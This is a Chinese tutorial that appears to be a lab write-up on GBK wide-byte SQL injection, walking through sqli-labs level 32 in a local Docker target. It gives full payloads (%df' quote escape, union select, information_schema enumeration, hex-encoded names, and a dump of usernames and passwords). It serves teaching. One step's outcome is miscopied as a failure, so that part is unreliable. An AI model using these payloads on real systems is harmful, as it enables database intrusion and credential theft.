目录
1 宽字符注入概述
1.1GBK编码简介
- GBK全称《汉字内码扩展规范》。
- GBK 采用双字节表示,总体编码范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,剔除 xx7F 一条线。总计 23940 个码位,共收入 21886 个汉字和图形符号,其中汉字(包括部首和构件)21003 个,图形符号 883 个。
- 常用字符GBK编码
符号 | GBK编码 |
---|---|
’ | 27 |
" | 22 |
\ | 5C |
# | 23 |
運 | df5c |
URL编码规律
- GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
- 比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。
1.2 宽字符注入
- 定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的
'
,就会被转义为\'
,无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'
等不被转义。 - 适用情形:(1)数据库的编码格式为GBK;(2)在PHP中,通过iconv()进行编码转换。
- 原理:加入字节与
\
构成GBK编码,实现单引号和双引号逃逸。
2 实验平台
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:本实验利用火狐浏览器来实现,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 获取后台数据库账号及密码。
3 实验过程
3.1 前戏
- 真实机打开火狐浏览器,访问靶机IP地址,出现下图,可以不重置实验平台,直接点击Page2进入找到第32关实验。
- 点击进入第32关,初始界面如下图:
3.2 判断注入点及注入类型
- 输入参数为
?id=1
可以看到数据库成功返回第一个账户账号及密码。修改id=2则是返回第二个账号密码,说明id是一个访问者可以控制输入的参数且页面会根据参数进行响应,是一个注入点。
- 修改参数为
?id=1'
可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的单引号被转义成了\'
。
- 遇到这种情况只能赌后台数据库编码是不是GBK了,修改参数为
?id=1%df'
,按下图分析错误提醒信息可知该输入为字符型且为单引号闭合,同时可知可以实现宽字符注入。
3.3 尝试使用union查询
- 目的:判断能否使用union联合查询注入。
- 修改参数为
?id=1%df' order by 3--+
,页面正常显示,当修改参数为4时,页面显示错误,说明回显内容有3列。
- 修改参数为
?id=-1%df' union select 1,2,3--+
,可以看到2和3列数据可以回显。说明可以尝试union联合查询注入。
3.4 union注入获取库名表名字段名
- 目的:为了往数据库中注入新的账号密码,我们需要知道账号密码是在哪个表哪些字段中,因此需要先用union联合注入获取相关信息。
-
获取库名。修改参数为
?id=-1%df' union select 1,2,database()--+
,发现本站点数据库为security。
-
获取表名。修改参数为
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
,发现该数据库下公有4个表,其中有个users的表,是我们注入的目标。
-
获取字段名。修改参数为
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
- 用16进制代替英文字符串输入,可以无需使用单引号来括住users,很多工具可以将字符串转为16进制,users转为16进制就是7573657273,为了表示该数是16进制,需要在前面加上0x。修改参数为
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
-
获取字段内容。修改参数为
?id=-1%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users--+
,该参数中0x3a是冒号的16进制格式,同样也是为了避免使用单引号导致被转义的问题。
3.5 实验结果
在上一步成功爆出一堆账号密码,实验成功。
4 总结
- 了解GBK编码简单信息;
- 理解字节何时会被当做GBK进行解码;
- 理解宽字符注入的原理;
- 掌握宽字符注入的方法。